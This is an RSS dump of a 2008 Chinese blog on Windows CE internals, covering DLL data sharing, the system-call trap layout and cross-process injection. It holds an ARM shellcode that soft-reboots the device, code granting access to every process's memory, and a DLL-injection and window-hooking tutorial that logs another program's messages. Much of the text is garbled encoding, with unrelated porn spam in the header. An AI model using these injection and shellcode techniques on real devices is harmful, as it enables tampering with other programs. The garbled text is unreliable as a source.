??xml version="1.0" encoding="utf-8" standalone="yes"?>国产巨作麻豆欧美亚洲综合久久,国产激情久久久久影院老熟女,成人妇女免费播放久久久http://www.shnenglu.com/zjj2816/category/2050.htmlzh-cnWed, 29 Oct 2008 07:00:47 GMTWed, 29 Oct 2008 07:00:47 GMT60如何׃n DLL 中的所有数?微Ysupporthttp://www.shnenglu.com/zjj2816/archive/2008/10/28/65332.html井泉井泉Tue, 28 Oct 2008 07:07:00 GMThttp://www.shnenglu.com/zjj2816/archive/2008/10/28/65332.htmlhttp://www.shnenglu.com/zjj2816/comments/65332.htmlhttp://www.shnenglu.com/zjj2816/archive/2008/10/28/65332.html#Feedback0http://www.shnenglu.com/zjj2816/comments/commentRss/65332.htmlhttp://www.shnenglu.com/zjj2816/services/trackbacks/65332.html

概要

Win 32 动态链接库 (DLL) 默认Q这意味着使用 DLL 的每个应用程序获取它自己?DLL 的数据的副本的情况下使用实例数据?但是Q就可以׃n DLL 数据之间所有用该 DLL 的应用程序?

如果您需要共享仅部分 DLL 数据QMicrosoft 创徏一个新的节和而共享它? 如果您想׃n的所?DLL 静态数据,非常重要做两件事情:
W一ơ,DLL 必须使用 C q行时的 DLL 版本 Q例?Crtdll.lib ?Msvcrt.libQ?请参阅您的品文更多有关?C q行?DLL 中?br>
注意Q? Crtdll.lib 不再 SDKQ从 Windows NT 3.51 开始的一部分?上次发布q?4 ?1995 q上?MSDN 3.5 SDK?Win 32 现在要求用户指定的由他们自己的编译器 vender 提供?C q行?LIBs 他们自己的版本?
W二个,您需要指?data ?bss ׃n? 通常Q这?def 文g?SECTIONS"部分中?例如Q?
   SECTIONS
.bss READ WRITE SHARED
.data READ WRITE SHARED
如果您要使用 Visual C++ 32-bit EditionQ您必须指定此用链接器上的部分开兟?例如Q?
link -section:.data,rws -section:.bss,rws
只有静态数据被׃n?用对作ؓ GlobalAlloc() ?malloc() q样?API / 函数的调用动态分配的内存是仍然特定于调用q程?

pȝ试图加蝲每个q程中相同的地址处共享的内存块?但是Q如果块不能加载到相同的内存地址Q系l将׃n的分区映到一个不同的内存地址?仍在׃n内存?h意该׃n节内部指针无效在q种情况下ƈ不能攑օ享各节中?

更多信息

C q行时用全局变量?如果 CRT 是静态与?DLLQ链接这些变量将?DLL 的所有客L之间׃nq将最有可能导致的异常 c 0000005?

您要同时指定.data ?bss 为共享,因ؓ它们每个保存不同cd的数据?.data 部分包含初始化的数据Q?bss 部分保存未初始化的数据?

for sharing in DLL all data one reason is to have in between Win32 DLL (running on Windows NT) and Win32s consistent behavior (running on Windows 3.1). when running on Win32sQ?2-bit DLL shares among all of that use DLL processes its data?

h意不需要共享所有数?Win 32 ?Win32s 之间的行为完全相同?DLL 可用于将变量存储为实例数据在 Win 32 U程本地存储 (TLS)?br>
for additional informationQplease see following article in Microsoft Knowledge Base:
109620 (http://support.microsoft.com/kb/109620/EN-US/) 在一?Win 32 中创建实例数?DLL

q篇文章中的信息适用?
Microsoft Win32 Application Programming Interface 当用?/td>
    Microsoft Windows NT 4.0
    Microsoft Windows NT 3.51 Service Pack 5
    Microsoft Windows NT 4.0
    Microsoft Windows 95
    Microsoft Windows 98 Standard Edition
    the operating system: Microsoft Windows 2000
    the operating system: Microsoft Windows XP

回到端

关键字: 
kbmt kbdll kbhowto kbipc kbkernbase KB109619 KbMtzh


井泉 2008-10-28 15:07 发表评论
]]>
Windows CE API机制初探 ?/title><link>http://www.shnenglu.com/zjj2816/archive/2008/08/14/58841.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Thu, 14 Aug 2008 07:36:00 GMT</pubDate><guid>http://www.shnenglu.com/zjj2816/archive/2008/08/14/58841.html</guid><wfw:comment>http://www.shnenglu.com/zjj2816/comments/58841.html</wfw:comment><comments>http://www.shnenglu.com/zjj2816/archive/2008/08/14/58841.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/zjj2816/comments/commentRss/58841.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/zjj2816/services/trackbacks/58841.html</trackback:ping><description><![CDATA[--[ 目录<br><br>  1 - Windows CE架构<br><br>  2 - 列出所有系lAPI<br><br>  3 - Windows CE的系l调?br><br>  4 - coredll.dll对API的包?br><br>  5 - 用系l调用实现shellcode<br><br>  6 - 结<br><br>  7 - 感谢<br><br>  8 - 参考资?br><br><br>--[ 1 - Windows CE架构<br><br>? 《Windows CE初探》一文中已经介绍了KDataStruct的结构,q是一个非帔R要的数据l构Q可以从用户态的应用E序讉K。其开始地址是固定的 PUserKDataQ在SDK中定义:Windows CE Tools\wce420\POCKET PC 2003\Include\Armv4\kfuncs.hQ,对于ARM处理器是0xFFFFC800Q而其它处理器?x00005800。偏U? KINFO_OFFSET是UserKInfo数组Q里面保存了重要的系l数据,比如模块链表、内核堆、APIset pointers表(SystemAPISetsQ。《Windows CE初探》一文中通过模块链表最l来搜烦API在coredll中的地址Q本文我们将讨论一下UserKInfo[KINX_APISETS]处的 APIset pointers表?br><br>Windows CE的API机制使用了PSLs(protected server libraries)Q是一U客L/服务端模式。PSLs象DLL一样处理导出服务,服务的导出通过注册APIset?br><br>? 两种cd的APIsetQ分别是固有的和Z句柄的。固有的API sets注册在全局表SystemAPISets中,可以以API句柄索引和方法烦引的l合来调用他们的Ҏ。基于句柄的API和内核对象相养I如文件? 互斥体、事件等。这些API的方法可以用一个对象的句柄和方法烦引来调用?br><br>kfuncs.h中定义了固有APIset的句柄烦引, 如:SH_WIN32、SH_GDI、SH_WMGR{。基于句柄的API索引定义在PUBLIC\COMMON\OAK\INC\psyscall.h 中,如:HT_EVENT、HT_APISET、HT_SOCKET{?br><br>SystemAPISets共有32个CINFOl构的APIsetQ通过遍历SystemAPISets成员Q可以列出系l所有API。其中CINFO的结构在PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h中定义:<br><br>/**<br>* Data structures and functions for handle manipulations<br>*/<br><br>typedef struct cinfo {<br>    char        acName[4];  /* 00: object type ID string */<br>    uchar       disp;       /* 04: type of dispatch */<br>    uchar       type;       /* 05: api handle type */<br>    ushort      cMethods;   /* 06: # of methods in dispatch table */<br>    const PFNVOID *ppfnMethods;/* 08: ptr to array of methods (in server address space) */<br>    const DWORD *pdwSig;    /* 0C: ptr to array of method signatures */<br>    PPROCESS    pServer;    /* 10: ptr to server process */<br>} CINFO;    /* cinfo */<br>typedef CINFO *PCINFO;<br><br><br>--[ 2 - 列出所有系lAPI<br><br>Dmitri Leman在他的cespy中有个DumpApis函数Q略加修改后如下Q?br><br>// DumpApis.cpp<br>//<br><br>#include "stdafx.h"<br><br>extern "C" DWORD __stdcall SetProcPermissions(DWORD);<br><br>#define KINFO_OFFSET     0x300<br>#define KINX_API_MASK    18<br>#define KINX_APISETS     24<br><br>#define UserKInfo  ((long *)(PUserKData+KINFO_OFFSET))<br><br>//pointer to struct Process declared in Kernel.h.<br>typedef void * PPROCESS;<br>//I will not bother redeclaring this large structure.<br>//I will only define offsets to 2 fields used in DumpApis():<br>#define PROCESS_NUM_OFFSET  0    //process number (index of the slot)<br>#define PROCESS_NAME_OFFSET 0x20 //pointer to the process name<br><br>//Also declare structure CINFO, which holds an information <br>//about an API (originally declared in  <br>//PRIVATE\WINCEOS\COREOS\NK\INC\Kernel.h). <br>typedef struct cinfo {<br>    char        acName[4];  /* 00: object type ID string */<br>    uchar       disp;       /* 04: type of dispatch */<br>    uchar       type;       /* 05: api handle type */<br>    ushort      cMethods;   /* 06: # of methods in dispatch table */<br>    const PFNVOID *ppfnMethods;/* 08: ptr to array of methods (in server address space) */<br>    const DWORD *pdwSig;    /* 0C: ptr to array of method signatures */<br>    PPROCESS    pServer;    /* 10: ptr to server process */<br>} CINFO;    /* cinfo */<br><br>#define NUM_SYSTEM_SETS 32<br><br>/*-------------------------------------------------------------------<br>   FUNCTION: ProcessAddress<br>   PURPOSE:  <br>   returns an address of memory slot for the given process index.<br>   PARAMETERS:<br>    BYTE p_byProcNum - process number (slot index) between 0 and 31<br>   RETURNS:<br>    Address of the memory slot.<br>-------------------------------------------------------------------*/<br>inline DWORD ProcessAddress(BYTE p_byProcNum)<br>{<br>    return 0x02000000 * (p_byProcNum+1);<br>}<br><br>int WINAPI WinMain( HINSTANCE hInstance,<br>                    HINSTANCE hPrevInstance,<br>                    LPTSTR    lpCmdLine,<br>                    int       nCmdShow)<br>{<br>    FILE *fp;<br>    DWORD l_dwOldPermissions = 0;<br><br>    if ( (fp = fopen("\\apis.txt", "w")) == NULL )<br>    {<br>        return 1;<br>    }<br><br>    fprintf(fp, "Dump APIs:\n");<br><br>    __try<br>    {<br>        //Get access to memory slots of other processes<br>        l_dwOldPermissions = SetProcPermissions(-1);<br><br>        CINFO ** l_pSystemAPISets = (CINFO **)(UserKInfo[KINX_APISETS]);<br><br>        for(int i = 0; i < NUM_SYSTEM_SETS; i++)<br>        {<br>            CINFO * l_pSet = l_pSystemAPISets[i];<br>            if(!l_pSet)<br>            {<br>                continue;<br>            }<br>            LPBYTE l_pServer = (LPBYTE)l_pSet->pServer;<br>            fprintf(fp,<br>                "APIset: %02X   acName: %.4s   disp: %d   type: %d   cMethods: %d   "<br>                "ppfnMethods: %08X   pdwSig: %08X   pServer: %08X %ls\n",<br>                i,<br>                l_pSet->acName,<br>                l_pSet->disp,<br>                l_pSet->type,<br>                l_pSet->cMethods,<br>                l_pSet->ppfnMethods,<br>                l_pSet->pdwSig,<br>                l_pServer,<br>                l_pServer? (*(LPTSTR*)<br>                    (l_pServer + PROCESS_NAME_OFFSET)) : _T("") );<br><br>            //If this API is served by an application - get it''s <br>            //address, if it is served by the kernel - use address 0<br>            DWORD l_dwBaseAddress = 0;<br>            if(l_pServer)<br>            {<br>                l_dwBaseAddress = ProcessAddress<br>                    (*(l_pServer + PROCESS_NUM_OFFSET));<br>            }<br><br>            //Add the base address to the method and signature <br>            //tables pointers<br>            PFNVOID * l_ppMethods = (PFNVOID *)l_pSet->ppfnMethods;<br>            if(l_ppMethods  && (DWORD)l_ppMethods < 0x2000000)<br>            {<br>                l_ppMethods = (PFNVOID *)<br>                    ((DWORD)l_ppMethods + l_dwBaseAddress);<br>            }<br>            <br>            DWORD * l_pdwMethodSignatures = (DWORD *)l_pSet->pdwSig;<br>            if(l_pdwMethodSignatures && <br>                (DWORD)l_pdwMethodSignatures < 0x2000000)<br>            {<br>                l_pdwMethodSignatures = (DWORD *)<br>                    ((DWORD)l_pdwMethodSignatures + l_dwBaseAddress); <br>            }<br><br>            if(l_ppMethods)<br>            {<br>                for(int j = 0; j < l_pSet->cMethods; j++)<br>                {<br>                    PFNVOID l_pMethod = l_ppMethods? <br>                        l_ppMethods[j] : 0;<br>                    if(l_pMethod && (DWORD)l_pMethod < 0x2000000)<br>                    {<br>                        l_pMethod = (PFNVOID)<br>                            ((DWORD)l_pMethod + l_dwBaseAddress);<br>                    }<br>                    DWORD l_dwSign = l_pdwMethodSignatures? <br>                        l_pdwMethodSignatures[j] : 0;<br>                    fprintf(fp,<br>                        "  meth #%3i: %08X sign %08X\n",<br>                        j,<br>                        l_pMethod,<br>                        l_dwSign);<br>                }<br>            }<br>        }//for(int i = 0; i < NUM_SYSTEM_SETS; i++)<br>    }<br>    __except(1)<br>    {<br>        fprintf(fp, "Exception in DumpApis\n");<br>    }<br><br>    if(l_dwOldPermissions)<br>    {<br>        SetProcPermissions(l_dwOldPermissions);<br>    }<br>    fclose(fp);<br><br>    return 0;<br>}<br><br>来看一下此E序输出的片断:<br><br>APIset: 00   acName: Wn32   disp: 3   type: 0   cMethods: 185   ppfnMethods: 8004B138   pdwSig: 00000000   pServer: 00000000 <br>  meth #  0: 8006C83C sign 00000000<br>  meth #  1: 8006C844 sign 00000000<br>  meth #  2: 800804C4 sign 00000000<br>  meth #  3: 8006BF20 sign 00000000<br>  meth #  4: 8006BF94 sign 00000000<br>  meth #  5: 8006BFEC sign 00000000<br>  meth #  6: 8006C0A0 sign 00000000<br>  meth #  7: 8008383C sign 00000000<br>  meth #  8: 80068FC8 sign 00000000<br>  meth #  9: 800694B0 sign 00000000<br>  meth # 10: 8006968C sign 00000000<br>...<br><br>q? 是最开始的一个APIsetQ它的ppfnMethods?x8004B138QcMethods?85Q根据这两个数据得到185个地址Q这些地址 实际上就是内核系l调用的实现地址。它们的索引相对PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h里的 Win32Methods数组Q?br><br>const PFNVOID Win32Methods[] = {<br>    (PFNVOID)SC_Nop,<br>    (PFNVOID)SC_NotSupported,<br>    (PFNVOID)SC_CreateAPISet,               //  2<br>    (PFNVOID)EXT_VirtualAlloc,              //  3<br>    (PFNVOID)EXT_VirtualFree,               //  4<br>    (PFNVOID)EXT_VirtualProtect,            //  5<br>    (PFNVOID)EXT_VirtualQuery,              //  6<br>    (PFNVOID)SC_VirtualCopy,                //  7<br>    (PFNVOID)SC_LoadLibraryW,               //  8<br>    (PFNVOID)SC_FreeLibrary,                //  9<br>    (PFNVOID)SC_GetProcAddressW,            // 10<br>...<br>    (PFNVOID)SC_InterruptMask,              // 184<br>};<br><br><br>--[ 3 - Windows CE的系l调?br><br>Windows CE没有使用ARM处理器的SWI指o来实现系l调用,SWI指o在Windows CE里是I的Q就单的执行?movs pc,lr"Q详见armtrap.s关于SWIHandler的实玎ͼ。Windows CE的系l调用用了0xf0000000 - 0xf0010000的地址Q当pȝ执行q些地址的时候将会触发异常,产生一个PrefetchAbort的trap。在PrefetchAbort的实 现里Q详见armtrap.sQ首先会查异常地址是否在系l调用trap区,如果不是Q那么执行ProcessPrefAbortQ否则执? ObjectCall查找API地址来分z?br><br>通过APIset和其API的烦引可以算出系l调用地址Q其公式 是:0xf0010000-(256*apiset+apinr)*4。比如对于SC_CreateAPISet的系l调用可以这L? 来:0xf0010000-(256*0+2)*4=0xF000FFF8?br><br><br>--[ 4 - coredll.dll对API的包?br><br>选择一个没有参数的SetCleanRebootFlag()q行分析QIDAPro对其的反汇编如下Q?br><br>.text:01F74F70                 EXPORT SetCleanRebootFlag<br>.text:01F74F70 SetCleanRebootFlag<br>.text:01F74F70                 STMFD   SP!, {R4,R5,LR}<br>.text:01F74F74                 LDR     R5, =0xFFFFC800<br>.text:01F74F78                 LDR     R4, =unk_1FC6760<br>.text:01F74F7C                 LDR     R0, [R5]        ; (2FF00-0x14) -> 1<br>.text:01F74F80                 LDR     R1, [R0,#-0x14]<br>.text:01F74F84                 TST     R1, #1<br>.text:01F74F88                 LDRNE   R0, [R4]        ; 8004B138 ppfnMethods<br>.text:01F74F8C                 CMPNE   R0, #0<br>.text:01F74F90                 LDRNE   R1, [R0,#0x134]<br>.text:01F74F94                 LDREQ   R1, =0xF000FECC<br>.text:01F74F98                 MOV     LR, PC<br>.text:01F74F9C                 MOV     PC, R1          ; 80062AAC SC_SetCleanRebootFlag<br>.text:01F74FA0                 LDR     R3, [R5]<br>.text:01F74FA4                 LDR     R0, [R3,#-0x14]<br>.text:01F74FA8                 TST     R0, #1<br>.text:01F74FAC                 LDRNE   R0, [R4]        ; 8004B138 ppfnMethods<br>.text:01F74FB0                 CMPNE   R0, #0<br>.text:01F74FB4                 LDRNE   R0, [R0,#0x25C]<br>.text:01F74FB8                 MOVNE   LR, PC          ; 800810EC SC_KillThreadIfNeeded<br>.text:01F74FBC                 MOVNE   PC, R0<br>.text:01F74FC0                 LDMFD   SP!, {R4,R5,PC}<br>.text:01F74FC0 ; End of function SetCleanRebootFlag<br><br>写一个包含SetCleanRebootFlag()函数的小E序用EVCq行跟踪调试Q按F11q入该函C后,E序首先取KDataStruct的lpvTls成员Q然后取lpvTls偏移-0x14的内容,试该内Ҏ否是1?br><br>得先来了解一下lpvTls偏移-0x14的数据是什么。先看PUBLIC\COMMON\OAK\INC\pkfuncs.h里的几个定义Q?br><br>#define CURTLSPTR_OFFSET 0x000<br>#define UTlsPtr() (*(LPDWORD *)(PUserKData+CURTLSPTR_OFFSET))<br>#define PRETLS_THRDINFO         -5   // current thread''s information (bit fields, only bit 0 used for now)<br><br>#define UTLS_INKMODE            0x00000001  // bit 1 set if in kmode<br><br>看来lpvTls偏移-0x14保存的是当前U程信息Q只有第0比特被用。再来看PRIVATE\WINCEOS\COREOS\NK\KERNEL\ARM\mdram.c里的MDCreateMainThread2函数Q?br><br>...<br>    if (kmode || bAllKMode) {<br>        pTh->ctx.Psr = KERNEL_MODE;<br>        KTHRDINFO (pTh) |= UTLS_INKMODE;<br>    } else {<br>        pTh->ctx.Psr = USER_MODE;<br>        KTHRDINFO (pTh) &= ~UTLS_INKMODE;<br>    }<br>...<br><br>KTHRDINFO (pTh)在PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h里定义:<br><br>#define KTHRDINFO(pth)        ((pth)->tlsPtr[PRETLS_THRDINFO])<br><br>它就是lpvTls偏移-0x14。也是说系l在创徏ȝE的时候,ҎE序当前的模式来讄KTHRDINFO的|如果是内核模式,那么?Q否则是0?br><br>? 到coredll.dll中SetCleanRebootFlag的实玎ͼq时可以知道判断lpvTls偏移-0x14的内ҎZ查当前是否内核模 式。由于Pocket PC ROM~译时用了Enable Full Kernel Mode选项Q所以程序都是以内核模式q行。于是接着调试时可以看到取0x1FC6760的内容,取出来后QR0的值时0x8004B138Q这个值正? 是DumpApisE序输出的第一个APIset的ppfnMethods。接下来执行Q?br><br>.text:01F74F90                 LDRNE   R1, [R0,#0x134]<br>.text:01F74F94                 LDREQ   R1, =0xF000FECC<br><br>? 于程序是内核模式Q所以前一条指令成功取出|后一条无效。这时R1的值是0x80062AACQ和DumpApisE序输出的一个地址匚wQ根据烦引, 发现q个地址是SC_SetCleanRebootFlag在内怸的实现。其实烦引也可以Ҏq条指o的偏UL取:0x134/4=0x4D(77)Q? Ҏkwin32.h里Win32Methods的烦引直接就对应出SC_SetCleanRebootFlag。内核模式的话,后面q会执行 SC_KillThreadIfNeeded?br><br>如果是用h式的话,pȝ会执?xF000FECCq个地址Q这昄是一个系l调? trap地址。根据上面的公式出索引|(0xf0010000-0xF000FECC)/4=0x4D(77)Q根据kwin32.h? Win32Methods的烦引也对应是SC_SetCleanRebootFlag?br><br>通过分析coredll.dll对API包裹的实玎ͼ可以发现Windows CE在调用一部分API的时候会先判断程序是否处于内核模式,如果是,那么不用pȝ调用方式Q直接奔内核实现地址MQ否则就老老实实的用系l调用地址?br><br><br>--[ 5 - 用系l调用实现shellcode<br><br>p? l调用地址相对固定Q可以通过索引出它的trap地址Q而且搜烦coredll.dll里API地址的方法在用户态是无法实现的,因ؓ模块链表是在内核 I间Q用h无法访问。下面就是用pȝ调用实现的简单shellcodeQ它的作用是软重启系l,我想对于smartphone的系l应该也是可? Qsmartphone的ROM在编译时没有用Enable Full Kernel Mode选项Q?br><br>#include "stdafx.h"<br><br>int shellcode[] =<br>{<br>0xE59F0014, // ldr r0, [pc, #20]<br>0xE59F4014, // ldr r4, [pc, #20]<br>0xE3A01000, // mov r1, #0<br>0xE3A02000, // mov r2, #0<br>0xE3A03000, // mov r3, #0<br>0xE1A0E00F, // mov lr, pc<br>0xE1A0F004, // mov pc, r4<br>0x0101003C, // IOCTL_HAL_REBOOT<br>0xF000FE74, // trap address of KernelIoControl<br>};<br><br>int WINAPI WinMain( HINSTANCE hInstance,<br>                    HINSTANCE hPrevInstance,<br>                    LPTSTR    lpCmdLine,<br>                    int       nCmdShow)<br>{<br>    ((void (*)(void)) & shellcode)();<br><br>    return 0;<br>}<br><br><br>--[ 6 - 结<br><br>通过本文可以了解到Windows CE API机制的大概轮廓,对于pȝ调用的具体流E,也就是trap后的具体程q不是很清晰Q本文也׃块破砖头Q希望能砸到几个人,可以一赯论;Q?br>文中如有错误q望不吝赐教Q希望Xcon''05见?br><br><br>--[ 7 - 感谢<br><br>非常感谢NasiryҎ的帮助,在他的帮助下才得以完成此文?img src ="http://www.shnenglu.com/zjj2816/aggbug/58841.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/zjj2816/" target="_blank">井泉</a> 2008-08-14 15:36 <a href="http://www.shnenglu.com/zjj2816/archive/2008/08/14/58841.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【{帖】Windwos CE 跨进E内存注入(PocketPCQ?/title><link>http://www.shnenglu.com/zjj2816/archive/2008/08/14/58806.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Thu, 14 Aug 2008 01:29:00 GMT</pubDate><guid>http://www.shnenglu.com/zjj2816/archive/2008/08/14/58806.html</guid><wfw:comment>http://www.shnenglu.com/zjj2816/comments/58806.html</wfw:comment><comments>http://www.shnenglu.com/zjj2816/archive/2008/08/14/58806.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/zjj2816/comments/commentRss/58806.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/zjj2816/services/trackbacks/58806.html</trackback:ping><description><![CDATA[q日Q由于程序设计需要,我对WincowsCE ?a target="_blank" class="channel_keylink">内存</a>布局q行了研IӞ׃发现国内在这斚w的文档资料较,于是在研I告一D落之际QŞ成这示例文,以望抛砖引玉Q得到别的高手的指正?br><br>  <strong>一、程序实现的先决条g</strong><br><br>  ׃windowspȝ的窗体消息L投递至一个特定进E的指定H体消息函数中。于是在本地q程Q自q应用E序Q中取得属于其它q程的窗体的消息必须实现以下两个部分Q?br><br>  1、将需要挂接窗体的代码攑ֈ目标q程的地址I间中去?br><br>  2、执行这一D代码,q获得目标进E窗体的消息?br><br>  q两步看h很简单,但在实现q程中就比较困难。由于Windows CE作ؓ嵌入式移动设?a target="_blank" class="channel_keylink">操作pȝ</a>Q与windows 98/2000/XP{桌?a target="_blank" class="channel_keylink">操作pȝ</a>? 内核的设计理念以及API的支持上有极大的区别。这q接导致了常规的桌面系l利用全局鼠标钩子注入/q程U程注入{方法在CE中完全得不通。不q可喜的 是,微Y在开发工具中提供的remotexxx{远E调试程序我清楚这个目标ƈ不是不可能的dQ微软既然可以做刎ͼ那就是说在CE的内部一定有一套完 整的跨进E?a target="_blank" class="channel_keylink">内存</a>讉K/代码注入的机制?br><br>  <strong>二、程序实现的基本原理</strong><br><br> l过两天的google 搜烦Q在|上我发C一个没有在微Y文中声明的有趣的API函数QPerformCallBack4Q传说中q个函数可以在自q应用E序中执行指定的 q程中的一个函敎ͼSo Cool!q好象正是我所需要的东西。虽然网上也传闻q个函数在wm5不受支持Q其实经q实践这个传d是谣传而已Q?br><br>  PerformCallBack4函数的定义:<a name="entrymore"></a><br><br>[DllImport("coredll.dll")]<br>public static extern uint PerformCallBack4(ref CallBackInfo CallBackInfo,<br>IntPtr ni_pVoid1,IntPtr ni_pVoid2,IntPtr ni_pVoid3);<br><br>  其中函数的参数CallBackInfol构定义:<br><br>[StructLayout(LayoutKind.Sequential)]<br>public struct CallBackInfo<br>{<br>public IntPtr hProc; //q程的目标进E?br>public IntPtr pfn; //指向q程目标q程的函数地址的指?br>public IntPtr pvArg0; //函数的需要的W一个参?br>}//end struct<br><br>  而PerformCallback4?ni_pVoid1、ni_pVoid2、ni_pVoid3Z递到q程目标q程执行函数的其它三个参数?br><br>  至于代码放到目标进E的<a target="_blank" class="channel_keylink">内存</a>I间Q我们可以利用CE设计上的一个特性:<br><br>  1、ؓ了节U?a target="_blank" class="channel_keylink">内存</a>使用QCE所有程序调用的动态链接库QDLLQ都映射到同一?a target="_blank" class="channel_keylink">内存</a>地址中?br><br>  2、CE?a target="_blank" class="channel_keylink">内存</a>布局中划分有一个slot0?a target="_blank" class="channel_keylink">内存</a>位置Q这?a target="_blank" class="channel_keylink">内存</a>位置是由正在执行的进E所占有的,每一个特定的旉片,只能有一个进E可以占有这?a target="_blank" class="channel_keylink">内存</a>I? 间。在q程要求执行Ӟpȝq不直接执行q程所处内存位|的代码Q而是该q程的执行代码复制到slot0的内存位|中产生一个副本执行。也是说进E在 执行时内存将会有q程执行代码的两个完全一L版本Q存在于slot0中正在执行的q程代码和进E本w所处的内存中的代码?br><br>  在这个特 性下Q可以得到结论:如果q程A通过LoadLibrary函数装蝲Test.dllQ而进EB也通过LoadLibrary函数装蝲同一? Test.dllQ这个Test.dll的所有函数在q程A和进EB中执行时Q相对于slot0中的q程执行代码都会得到同一地址?br><br> 3、在CE中,pȝ在内存中划分?3个slotQslot0保留l正在执行的q程Q然后在q程启动时将所有的代码攑ֈ除slot0以外的一个slot? Q这是臭名昭著的CEpȝ中内存最多只能有不多?2个程序执行的限制的来由)。在q程执行Ӟ每个应用E序的内存访问默认只能访问slot0内存I间 中的地址以及q程所处的slot内存I间的地址? 但ؓ使设备驱动程序可以访问到它们所需的其它应用程序数据,CE提供了两个函C打破q个限制QSetKmode? SetProcPermissionQSetKmode函数告诉pȝQ当前运行的q程是否需要在内核模式中执行;SetProcPermission函数 可以接受一个位掩码Q每一位代码一个slot的访问控Ӟ1代表可以讉K该slot的内存内宏V?表示不能讉K该slot的内存内宏V这两个函数? msdn中有帮助文Q可参阅msdn的文档说明?br><br>  本文我们对实现的原理q行了剖析,在下一文章中我们以一个小CZE序演示实现的全q程?<br><br><hr> <p><br>在文章《浅析Windows CE跨进E内存注入实现窗体消息挂接(上)》中Q我们已l得Cq个七y板游戏所需要的所有小板块Q剩下的事就是等待我们按一定顺序将合适的板块攑ֈ合适的位置Q本章我们开始进行真刀真枪的实战演l?/p> <p>E序目标Q捕获exploreH体Q也是E序H体的消息ƈ输出到WinProcInfo.txt中)</p> <p>E序的执行步骤设计如下:</p> <p>1、编写一个窗体消息挂接DLLQ这个DLL提供一个,函数中利用setwindowlong函数窗体的默认消息处理q程改ؓq个挂接DLL中定义的一个窗体过E?/p> <p>2、在C#E序中利用findwindow{API函数获得exlorecȝ体的句柄及窗体所属的q程Qƈ使用performcallback4在目标进E空间中执行coredll.dll的loadLibrary函数我们写的挂接dll攑ֈ目标q程中?/p> <p>3、在C#E序中用performcallback4在目标进E空间中执行挂接DLL提供的导出接口函数实现跨q程H体消息截获.</p> <p><strong>一、程序的实现如下Q?/strong></p> <p>在VS2005中徏立一个智能设备的MFC DLLQ命名ؓHookWindowsProcMFCDLL?/p> <p>在HookWindowsProcMFCDLL.cpp中进行挂接DLL的核心编码: </p> <table border="0" width="80%"> <tbody> <tr> <td class="content" bgcolor="#cccccc"> <p>LRESULT CALLBACK fnHookWindowProc(HWND hwnd,UINT msg,WPARAM wparam, LPARAM lparam);</p> <p>int __declspec(dllexport) WINAPI fnAttachWinProc(HWND ni_hAttatchWin,PVOID ,PVOID,PVOID);</p> <p>int __declspec(dllexport) WINAPI fnDetachWinMsgProc(HWND ni_hDetachWin);</p> <p>WNDPROC tpOldWindowProc; </p> <p>FILE *m_pDebugOutputFile;</p> <p>//一个窗体消息处理挂接到net_版MessageWindow对象上的代码<br>typedef struct<br>{ <br> WNDPROC OldWinProc;//保留H体原始消息处理q程的函数指?br> HWND WindowHandle;//保存net_版中对应的窗口挂接的MessageWindow对象的句?br>} DEFUDT_AttachWinInfo; //end struct</p> <p>CMap<HWND,HWND,DEFUDT_AttachWinInfo,DEFUDT_AttachWinInfo> m_aAttachWinInfoMap;</p> <p>//Ҏ定的H口q程q行挂接<br>int __declspec(dllexport) WINAPI fnAttachWinProc(HWND ni_hAttatchWin,<br>PVOID ni_0,<br>PVOID ni_1,<br>PVOID ni_2 )<br>{<br> DEFUDT_AttachWinInfo tudtAttachWinInfo;<br> m_pDebugOutputFile = fopen("\\Storage Card\\WinProcInfo.txt", "w");<br> WNDPROC tpOldWindowProc=(WNDPROC)::SetWindowLong(ni_hAttatchWin, GWL_WNDPROC,(LONG) fnHookWindowProc );<br> fprintf(m_pDebugOutputFile,"Attatch successfully! OldWindowProc: %08X\n",tpOldWindowProc);<br> tudtAttachWinInfo.OldWinProc=tpOldWindowProc ;<br> tudtAttachWinInfo.WindowHandle=ni_hAttatchWin;<br> m_aAttachWinInfoMap.SetAt(ni_hAttatchWin,tudtAttachWinInfo);<br> fclose(m_pDebugOutputFile);<br> return 77;// (int)tpOldWindowProc ;<br>}//end function</p> <p>int __declspec(dllexport) WINAPI fnDetachWinMsgProc(HWND ni_hDetachWin)<br>{<br> DEFUDT_AttachWinInfo tudtAttachWinInfo;<br> WNDPROC tpOldWindowProc;</p> <p> //取得在ncf中消息接收窗口对应的原始消息处理函数的函数指?br> m_aAttachWinInfoMap.Lookup(ni_hDetachWin,tudtAttachWinInfo) ;</p> <p> //窗体的消息处理函数设ؓ默认的处理过E?br> tpOldWindowProc =(WNDPROC) SetWindowLong(ni_hDetachWin,GWL_WNDPROC , (LONG)tudtAttachWinInfo.OldWinProc);</p> <p> //挂接信息消息处理映谢类中删?br> m_aAttachWinInfoMap.RemoveKey(ni_hDetachWin);</p> <p> return (int)tpOldWindowProc ;</p> <p>}//end function</p> <p><br>LRESULT CALLBACK fnHookWindowProc(HWND hwnd,UINT msg,WPARAM wparam, LPARAM lparam)<br>{<br> DEFUDT_AttachWinInfo tudtAttachWinInfo;<br> m_aAttachWinInfoMap.Lookup(hwnd,tudtAttachWinInfo) ;<br> m_pDebugOutputFile = fopen("\\Storage Card\\WinProcInfo.txt", "a");<br> if (m_pDebugOutputFile!=NULL)<br> {<br>  fprintf(m_pDebugOutputFile,"HWND: %08X Msg: %08X Wparam %08X Lparam %08X \n",<br>hwnd,msg,wparam,lparam);</p> <p> }//EHD IF</p> <p> fclose(m_pDebugOutputFile);<br> //tudtAttachWin=maatt<br> LRESULT tobjResult= ::CallWindowProc(tudtAttachWinInfo.OldWinProc ,hwnd,msg,wparam,lparam);<br> return tobjResult;<br>}//end function <br></p> </td> </tr> </tbody> </table> <p>而在C#的主E序中,我们使用q个DLL挂接explorecȝE序H体Q以下给出挂接部分的代码Q?/p> <table border="0" width="80%"> 